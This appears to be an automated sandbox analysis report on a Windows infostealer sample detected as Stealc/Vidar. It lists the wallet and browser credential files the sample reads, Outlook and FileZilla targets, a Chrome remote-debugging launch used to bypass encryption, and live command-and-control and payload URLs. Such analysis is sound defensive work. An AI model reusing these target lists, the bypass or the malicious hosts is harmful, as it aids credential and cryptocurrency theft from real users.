Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 16.113Users\user\AppData\Roaming\Electrum-LTC\wallets\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Documents\JKKKJJJKJK.exe

Directory queried: C:\Users\user\Documents

Jump to behavior

Source: Yara match	File source: 0.2.file.exe.690000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2762226429.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7324, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.690000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2758018084.0000000000691000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2762226429.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7324, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7324, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB50C40 sqlite3_bind_zeroblob,	0_2_6CB50C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB50D60 sqlite3_bind_parameter_name,	0_2_6CB50D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA78EA0 sqlite3_clear_bindings,	0_2_6CA78EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB50B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CB50B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA76410 bind,WSAGetLastError,	0_2_6CA76410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA760B0 listen,WSAGetLastError,	0_2_6CA760B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7C030 sqlite3_bind_parameter_count,	0_2_6CA7C030

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	12 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	241 Virtualization/Sandbox Evasion	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	47%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Documents\JKKKJJJKJK.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1012819001\439191dd24.exe	100%	Joe Sandbox ML
C:\Users\user\Documents\JKKKJJJKJK.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.215.113.206/Yg	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php1c2fec0e1cf74e8735ec95795d26Extension	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllJ6	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exeBCP	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpn#n	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exec61395dd	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe012819001	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/softokn3.dll5Tf	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpNc	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php.c	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exe6139	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/nss3.dllYUB	100%	Avira URL Cloud	malware
http://185.215.113.16/c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/nss3.dlloUT	100%	Avira URL Cloud	malware
http://185.215.113.16/fac00b58987e8e7e7b9ca30804042ba5ce90241545	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe2	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php&-	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exeIC	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exeem32	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe5ckH2	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/mozglue.dllyVb	100%	Avira URL Cloud	malware
http://185.215.113.4	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www3.l.google.com	172.217.19.206	true	false	high
